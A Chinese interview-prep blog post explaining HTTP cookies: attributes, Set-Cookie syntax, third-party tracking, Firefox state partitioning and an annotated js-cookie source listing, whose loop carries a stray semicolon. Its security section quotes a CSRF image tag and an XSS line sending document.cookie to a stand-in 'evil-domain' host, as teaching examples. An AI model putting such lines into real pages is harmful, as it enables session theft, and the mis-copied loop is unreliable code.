五千字长文带你重新认识Cookie,攻克拿下 Cookie 八股文

572 阅读16分钟

前言

在面试的过程中被问到关于Cookie 相关的知识点时候,往往不能深入地回答和了解背后原理,本文搬运和整理我了解的 cookie 相关知识点,将背后的知识整理分享给大家,喜欢在后续的面试过程中,可以对你有帮助,顺利拿下Offer,如果刚好是自己的知识盲区不妨帮忙点赞支持一下

1.Cookie 含义

HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的HTTP协议记录稳定的状态信息成为了可能。

2. Cookie 用途

  • 会话状态管理(用户登录状态、等需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

下面我们会围绕这三个 目的用途来展开业务场景,来介绍 Cookie 使用方法和方式

3. 如何查看 Cookie

在正式使用 Cookie 之前 我们不妨先学习一下 Cookie的属性。

我们可以在当前网页中 系统在浏览此网页的时候设置的 Cookie。

image.png

可以清晰看到当前的掘金网页上面 设置到我们本地的 Cookie 信息,但是里面的都是简单的

image.png

如果想要浏览详细具体的信息,我们打开谷歌的开发者调试工具F12,选择 Application -> Cookies

image.png

4. Cookie 属性

可以清晰看到当前网页下完整的 Cookie 信息,包括下面 12 个属性:

  • Name <cookie-name> 可以是除了控制字符 (CTLs)、空格 (spaces) 或制表符 (tab)之外的任何 US-ASCII 字符。同时不能包含以下分隔字符: ( ) < > @ , ; : \ " /  [ ] ? = { }.
  • Value 是可选的,如果存在的话,那么需要包含在双引号里面。支持除了控制字符(CTLs)、空格(whitespace)、双引号(double quotes)、逗号(comma)、分号(semicolon)以及反斜线(backslash)之外的任意 US-ASCII 字符。不过满足规范中对于 所允许使用的字符的要求是有用的。
  • Domain 指定 cookie 可以使用 cookie 的域名。
  • Path 指定 cookie 可以使用 cookie 的路径。
  • Expires/Max-Age
    • cookie 的最长有效时间,形式为符合 HTTP-date 规范的时间戳。
    • Max-Age 在 cookie 失效之前需要经过的秒数
  • Size Cookie 大小 因浏览器而已,Chrome 的 最大 Cookie 大小为 4kb 左右,每个域为53个
  • HttpOnly 设置了 HttpOnly 属性的 cookie 不能使用 JavaScript 经由  Document.cookie 属性、XMLHttpRequest 和  Request APIs 进行访问,以防范跨站脚本攻击(XSS)。
  • Secure 一个带有安全属性的 cookie 只有在请求使用SSL和HTTPS协议的时候才会被发送到服务器
  • SameSite 允许服务器设定一则 cookie 不随着跨域请求一起发送,这样可以在一定程度上防范跨站请求伪造攻击(CSRF)。
  • SameParty Sets 域名下需要共享的 Cookie 意思就是在一个域名群里面共享 Cookie
    • SameParty Cookie 必须包含 Secure
    • SameParty Cookie 不得包含 SameSite=Strict.
  • Priority 优先级,chrome的提案,定义了三种优先级,Low/Medium/High,当 cookie 数量超出时,低优先级的cookie会被优先清除。
  • Partition Key

image.png

下面我们用表格来统一记忆和梳理上面提到的属性。

模块名称可选值描述
有效期Expires日期对象俗称“过期时间”,用的是绝对时间,可以理解为“截止日期”(deadline)
有效期Max-AgeNumber 单位为秒用的是相对时间,单位是秒,浏览器用收到报文的时间点再加上 Max-Age,就可以得到失效的绝对时间
作用域Domain域名指定 cookie 可以使用的域名
作用域Path字符串指定一个 URL 路径,这个路径必须出现在要请求的资源的路径中才可以发送 Cookie 首部
安全性HttpOnly布尔值 true / falseCookie 可以通过 Javascript 脚本用 document.domain 来读写 Cookie 数据,这就带来了隐患,可能导致 “跨站脚本(XSS)” 攻击窃取数据 “HttpOnly” 属性会告诉浏览器,此 Cookie 只能通过浏览器 HTTP 协议传输,禁止其他方式访问,浏览器的 JS 就会禁用 document.cookie
安全性SameSite有 3 个值:Strict/Lax(默认)/None。“SameSite”属性可以防范“跨站请求伪造(XSRF)”攻击,设置成“SameSite=Strict”可以严格规定 Cookie 不能随着跳转链接跨站发送,而“SameSite=Lax”则相对宽松,允许 GET/HEAD 等安全方法,但禁止 POST 跨站发送
安全性Secure布尔值 true / false一个带有安全属性的 cookie 只有在请求使用SSL和HTTPS协议的时候才会被发送到服务器
安全性SameParty域名Chrome 新推出了一个 First-Party Sets 策略,它可以允许由同一实体拥有的不同关域名都被视为第一方。之前都是以站点做区分,现在可以以一个 party 做区。SameParty就是为了配合该策略。(目前只有 Chrome 有该属性
优先级PriorityLow/Medium/High优先级,chrome 的提案(firefox 不支持),定义了三种优先级,Low/Medium/High,当cookie大小超出浏览器限制时,低优先级的cookie会被优先清除。(目前只有 Chrome 有该属性
属性Size数字NumberCookie 大小 因浏览器而已,Chrome 的 最大 Cookie 大小为 4kb 左右,每个域为53个

5 会话状态管理

这个目的我们很好理解,当用户登录过以后,我们需要保存用户的登录会话状态,但是浏览器发送的是基于HTTP协议的请求,HTTP又是无状态协议,所以我们要使用其他技术来完成状态的管理。其中 利用 Cookie 就能实现保存会话状态,下面我们列出整个 Cookie 在会话状态的流程图 展示业务过程

  1. 用户调用登录请求接口
  2. 服务器端 登录请求接口 设置 Cookie
  3. 客户端(浏览器)获取到 请求头 Set-Cookie 将服务器端发送过来 Cookie 保存到本地浏览器
  4. 客户端(浏览器)再次访问服务器,发送请求中的 Cookie 带上了 刚刚保存的 Cookie
  5. 服务器端 验证接收到的请求中附带的 Cookie, 进行登录状态鉴权等后续操作

5.1 创建 Cookie

当接收到客户端发出的 HTTP 请求时,服务器可以发送带有响应的 Set-Cookie 标头,Cookie 通常由浏览器存储,然后将 Cookie 与 HTTP 标头一同向服务器发出请求。

Set-Cookie: <cookie-name>=<cookie-value>
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax

// 多个属性设置
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

// 设置 key value 域名,路径,过期时间等信息
Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT

5.2 示例代码

var express = require("express");
var cookieParser = require("cookie-parser"); 
var app = new express();

app.use(cookieParser());

app.post('/login', 
    function(req, res) { 
        res.cookie("loginName", "Make");  //设置cookie
        res.send(res.cookie); //读取cookie
    }
);

在 请求的 Response-Header 中可以查看到 set-cookie 的详细信息

image.png

在下一次发送请求的 Request-Header 中可以查看到 cookie 中附带了 Cookie 信息

image.png

5.3 新的存储方式

由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据(当前域名下所有能读取到的Cookie内容,不论服务器是否需要,都会被携带),会带来额外的性能开销(尤其是在移动环境下)。Cookie 曾一度用于客户端数据的存储,因当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式。

新版本浏览器API已经允许开发者直接将数据存储到本地。((¦3」∠) 其实这个也是老生常谈幸听之)

6. 个性化设置

个性化设置我理解是存储用户本地的一些个性化设置,例如语言,主题等信息,这里举例 MDN 官网的语言设置

image.png

修改成日语以后,本地的 Cookie 信息将会同步。这里很清晰明了,这里就不详细说明了

7. 浏览器行为跟踪(如跟踪分析用户行为等)

这部分内容,也是真正体验出,前端开发工程师能力差异的体验点。也是我们真正合理利用 Cookie的关键

Cookie 自诞生以来就是各大广告商窥探用户隐私的利器。例如我在某宝搜索想要买一个商品,然后我再访问煎蛋 到处都是这个东西的推销广告。仿佛全世界都知道我看了这个东西(事实上他们确实知道)。那么他们是如何做到的呢?

7.1 第一方 Cookie & 第三方 Cookie

我们先区分一下第一方 cookie 和 第三方 cookie。 我们一般认为cookie的 domain 存在于当前域名或当前域名的父级的 cookie 称为第一方 cookie,否则为第三方 cookie。下面我们用 某宝 来举例

image.png

.mmstat.com 就属于第三方的 Cookie

7.2 标记用户 & 用户行为捕获

当我们第一次访问某宝的时候,就会将我们的信息存到 Cookie 中,不管我们是否有登录。我们在请求其他例如某猫的时候,将会共享这部分 Cookie 信息

然后我们可以在某宝上做一些用户行为,例如鼠标移动或者 Hover某个 链接,那么浏览器就会发送请求,在请求返回的 Response Header 中就会发现 Set-Cookie 的请求数据

image.png

最后,将这些信息发送到广告平台,就知道当前用户的详细浏览记录信息以及它的需求信息内容了。以及可以在其他的域名下,直接投放广告了(这里只是简单介绍,具体的流程要复杂很多。)用户画像分析需要很多方面的参数,不是1-2条用户的浏览记录和搜索记录就能完全定位出来。

7.3 流程总结

  1. 首次访问网站时通过第三方 cookie 植入将你标记。
  2. 浏览网站时通过植入的 cookie 不断的向后台 发送你的浏览足迹(几乎精确到了每一步操作,一个点击,一个停滞都会被记录)。
  3. 在访问其他社交网站时会值入相同的第三方 cookie 将你标记,同时给你推送相关广告。

8. Cookie的 状态区分

既然我们的浏览器这么不安全,经常被购物网站监听我们的具体行踪,那我们如果应对和防范呢?首先我们先要聊聊状态区分的问题。

状态分区是指一个目标,旨在重新设计管理客户端状态(即存储在浏览器中的数据)的方式,以减轻网站滥用状态以进行跨站点跟踪的能力。这项旨在通过向用户访问的每个网站提供有效的 “不同”效果,隔离的存储位置来实现这一目标。

状态分区目前在 Firefox 中默认打开。 自 Firefox 85 版以来,Firefox 的发布通道默认启用了状态分区工作功能(即网络分区)。

8.1 使用共享状态的跨站点跟踪

浏览器传统上通过加载资源的位置的来源(或有时可注册的域)来密钥客户端状态。

例如,可用于从 example.com/hello.html 加载的 iframe 的 cookie、localStorage 对象和缓存将由 example.com 保存到本地。 无论浏览器当前是从该域加载资源作为第一方 Cookie 资源 还是作为嵌入式第三方 Cookie资源,这都是正确的。 跟踪器利用这种跨站点状态来存储用户标识符并跨网站访问它们。 下面的示例展示了 example.com 如何使用其跨站点状态 在其自己的站点以及 A.example 和 B.example 上跟踪用户。

image.png

8.2 以往阻止跨站点跟踪方法

Firefox 过去的 cookie 策略试图通过在某些条件下阻止对某些域的某些存储 API(例如 cookie 和 localStorage)的访问来减轻跟踪。 例如,我们的“阻止所有第三方 cookie”政策将阻止所有域在第三方上下文中加载时访问某些存储 API。 我们当前的默认 cookie 策略仅在第三方上下文中阻止对归类为跟踪器的域的访问。

8.3 状态区分阻止跨站点跟踪方法

状态分区是防止跨站点跟踪的另一种方法。 Firefox 没有在第三方上下文中阻止对某些有状态 API 的访问,而是为每个顶级网站提供了带有单独存储位置的嵌入式资源。 更具体地说,Firefox 通过正在加载的资源的来源和顶级站点对所有客户端状态进行双键处理。 在大多数情况下,顶级站点是用户正在访问的顶级页面 和 eTLD+1

在下面的示例中,example.com 嵌入在 A.example 和 B.example 中。 但是,由于存储是分区的,因此存在三个不同的内存中(而不是一个)。 跟踪器仍然可以访问存储,但由于每个存储桶都在顶级站点下额外存储,它可以访问 A 上的数据将不同于 B 上的数据。这将阻止跟踪器将标识符存储在其 直接访问 Cookie,然后在嵌入其他网站时检索该标识符。

image.png

8.4 具体的做法

  • 网络状态分区: 升级使用 85 版本 以上的 Firefox 浏览器 默认开启 上面提到的状态区分功能,网络 API 和缓存由顶级站点永久分区。
  • 动态状态区分
    • 自 Firefox 86 起:为启用了 “严格模式” 隐私保护的用户启用。
    • 从 Firefox 90 开始:在隐私浏览中启用。

image.png

image.png

8.5 关于动态状态区分

为了防止 JavaScript 可访问存储 API 被用于跨站点跟踪,Firefox 按顶级站点对可访问存储进行分区。 这种机制意味着,通常嵌入在一个顶级站点中的第三方无法访问存储在另一个顶级站点下的数据。

但是,与上面的网络分区不同,此边界是动态的,可以授予对第三方未分区存储的访问权限:

9. Cookie 安全性问题

  • 使用 HttpOnly 属性可防止通过 JavaScript 访问 cookie 值。
  • 用于敏感信息(例如指示身份验证)的 Cookie 的生存期应较短,并且 SameSite 属性设置为Strict 或 Lax。(请参见上方的 SameSite Cookie。)在支持 SameSite 的浏览器中,这样做的作用是确保不与跨域请求一起发送身份验证 cookie,因此,这种请求实际上不会向应用服务器进行身份验证。

关于 Cookie 安全性 我们需要注意的点是 XSS 攻击 和 跨站请求伪造 CSRF

CSRF

比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
XSS

在 Web 应用中,Cookie 常用来标记用户或授权会话。因此,如果 Web 应用的 Cookie 被窃取,可能导致授权用户的会话受到攻击。常用的窃取 Cookie 的方法有利用社会工程学攻击和利用应用程序漏洞进行

new Image().src = 'http://www.evil-domain.com/steal-cookie.php?cookie=' + document.cookie

10. Cookie 管理(CRUD)

关于这部分功能,这里简单介绍,Github 上有很多开源的优秀 Cookie 管理工具库

主要解决我们处理原生 document.cookie 的问题和疼点

  • Cookie的管理 CRUD问题
  • 设置 Cookie 时候的冲突

js-cookie 源码解析

100多行的代码就能 实现,Cookie 增删改查

import assign from './assign.mjs'
import defaultConverter from './converter.mjs' // 格式转换

// 初始化整体方法
function init (converter, defaultAttributes) {
  // 设置 Cookie值
  function set (name, value, attributes) {
    // 环境判断检查
    if (typeof document === 'undefined') {
      return
    }
    
    // 属性合并
    attributes = assign({}, defaultAttributes, attributes)

    // 将过期日期 expires 转化为日期对象
    if (typeof attributes.expires === 'number') {
      attributes.expires = new Date(Date.now() + attributes.expires * 864e5)
    }
    if (attributes.expires) {
      attributes.expires = attributes.expires.toUTCString() // 转化为 字符串
      // 'Sat, 07 May 2022 06:28:26 GMT'
    }

    // name 格式化
    name = encodeURIComponent(name)
      .replace(/%(2[346B]|5E|60|7C)/g, decodeURIComponent)
      .replace(/[()]/g, escape)

    var stringifiedAttributes = ''
    // 处理预期之外的属性设置名称
    for (var attributeName in attributes) {
      if (!attributes[attributeName]) {
        continue
      }

      stringifiedAttributes += '; ' + attributeName

      if (attributes[attributeName] === true) {
        continue
      }

      // Considers RFC 6265 section 5.2:
      // ...
      // 3.  If the remaining unparsed-attributes contains a %x3B (";")
      //     character:
      // Consume the characters of the unparsed-attributes up to,
      // not including, the first %x3B (";") character.
      // ...
      stringifiedAttributes += '=' + attributes[attributeName].split(';')[0]
    }
    
    // 设置 cookie
    return (document.cookie =
      name + '=' + converter.write(value, name) + stringifiedAttributes)
  }

  function get (name) {
    if (typeof document === 'undefined' || (arguments.length && !name)) {
      return
    }

   
    // 如果没有 cookie 就是一个 空数组
    var cookies = document.cookie ? document.cookie.split('; ') : [];
    var jar = {}; // 临时的存放对象 放 key value Cookie 缓存对象
    
    
    for (var i = 0; i < cookies.length; i++;) {
      var parts = cookies[i].split('='); 
      var value = parts.slice(1).join('=');

      try {
        var found = decodeURIComponent(parts[0]);
        jar[found] = converter.read(value, found);

        if (name === found) {
          break
        }
      } catch (e) {}
    }

    return name ? jar[name] : jar
  }

  // 初始化相关的功能
  return Object.create(
    {
      set: set,
      get: get,
      remove: function (name, attributes) {
        set(
          name,
          '',
          assign({}, attributes, {
            expires: -1
          })
        )
      },
      withAttributes: function (attributes) {
        return init(this.converter, assign({}, this.attributes, attributes))
      },
      withConverter: function (converter) {
        return init(assign({}, this.converter, converter), this.attributes)
      }
    },
    {
      attributes: { value: Object.freeze(defaultAttributes) },
      converter: { value: Object.freeze(converter) }
    }
  )
}

export default init(defaultConverter, { path: '/' })

小结

Cookie的缺点主要集中在其安全性和隐私保护上,主要包括以下几种:

  • Cookie 可能被禁用,当用户非常注重个人隐私保护时,很可能会禁用浏览器的Cookie功能。
  • Cookie 可能被删除,因为每个Cookie都是硬盘上的一个文件,因此很有可能被用户删除。
  • Cookie 的大小和个数受限,不同浏览器有所区别,基本上单个Cookie保存的数据不能超过4095个字节,50个/每个域名。
  • Cookie 安全性不够高,所有的 Cookie 都是以纯文本的形式记录于文件中,因此如果要保存用户名密码等信息时,最好事先经过加密处理。

既然 Cookie 有这样的缺点,自然会被面试官问到 为啥我们还需要 Cookie 呢?

最后为啥我们还需要 Cookie

  • 同域之间可共享
  • 服务端可设置 Cookie

这两点是可以应用到很多业务场景上的,所以具体怎样的方案取决于你的实际场景,既然存在,那么它就是合理的。

这篇文章到这里就结束了,水平有限难免有纰漏,欢迎纠错。最后希望帮忙点点赞,这对我创作是无比的肯定和动力。希望可以帮到你

文章参考

juejin.cn/post/708676…
developer.mozilla.org/en-US/docs/…
github.com/cfredric/sa…
en.wikipedia.org/wiki/HTTP_c…
mp.weixin.qq.com/s?__biz=Mzk…
juejin.cn/post/700201…
github.com/Mrlyk/cooki…
cloud.tencent.com/developer/a…
support.mozilla.org/zh-CN/kb/Fi…
blog.mozilla.org/security/20…